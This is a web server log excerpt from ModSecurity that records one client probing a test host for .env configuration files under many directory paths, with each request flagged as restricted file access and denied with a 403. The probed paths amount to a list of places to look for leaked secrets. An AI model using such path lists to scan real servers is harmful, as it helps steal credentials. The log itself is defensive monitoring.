[Wed Feb 25 06:04:51.899457 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5jAAAAAM&quot;]
[Wed Feb 25 06:04:51.899738 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5jAAAAAM&quot;]
[Wed Feb 25 06:04:51.899918 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5jAAAAAM&quot;]
[Wed Feb 25 06:04:51.947302 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /base_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZmwAAAAY&quot;]
[Wed Feb 25 06:04:51.947594 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZmwAAAAY&quot;]
[Wed Feb 25 06:04:51.947806 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZmwAAAAY&quot;]
[Wed Feb 25 06:04:51.971674 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /basic-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZnAAAAAY&quot;]
[Wed Feb 25 06:04:51.971972 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZnAAAAAY&quot;]
[Wed Feb 25 06:04:51.972176 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZnAAAAAY&quot;]
[Wed Feb 25 06:04:51.978172 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5jQAAAAM&quot;]
[Wed Feb 25 06:04:51.978449 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5jQAAAAM&quot;]
[Wed Feb 25 06:04:51.978612 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5jQAAAAM&quot;]
[Wed Feb 25 06:04:52.007957 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bgoldd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZnQAAAAY&quot;]
[Wed Feb 25 06:04:52.008235 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZnQAAAAY&quot;]
[Wed Feb 25 06:04:52.008414 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZnQAAAAY&quot;]
[Wed Feb 25 06:04:52.133419 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5jwAAAAM&quot;]
[Wed Feb 25 06:04:52.133702 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5jwAAAAM&quot;]
[Wed Feb 25 06:04:52.133927 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5jwAAAAM&quot;]
[Wed Feb 25 06:04:52.149577 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bitcoind/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZngAAAAY&quot;]
[Wed Feb 25 06:04:52.149856 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZngAAAAY&quot;]
[Wed Feb 25 06:04:52.150041 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZngAAAAY&quot;]
[Wed Feb 25 06:04:52.159531 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5kAAAAAM&quot;]
[Wed Feb 25 06:04:52.159788 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5kAAAAAM&quot;]
[Wed Feb 25 06:04:52.159957 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5kAAAAAM&quot;]
[Wed Feb 25 06:04:52.205148 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blankon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZnwAAAAY&quot;]
[Wed Feb 25 06:04:52.205429 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZnwAAAAY&quot;]
[Wed Feb 25 06:04:52.205629 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZnwAAAAY&quot;]
[Wed Feb 25 06:04:52.245243 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blob/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZoAAAAAY&quot;]
[Wed Feb 25 06:04:52.245619 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZoAAAAAY&quot;]
[Wed Feb 25 06:04:52.245864 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZoAAAAAY&quot;]
[Wed Feb 25 06:04:52.298907 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app-order-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5kgAAAAM&quot;]
[Wed Feb 25 06:04:52.299222 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5kgAAAAM&quot;]
[Wed Feb 25 06:04:52.299427 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5kgAAAAM&quot;]
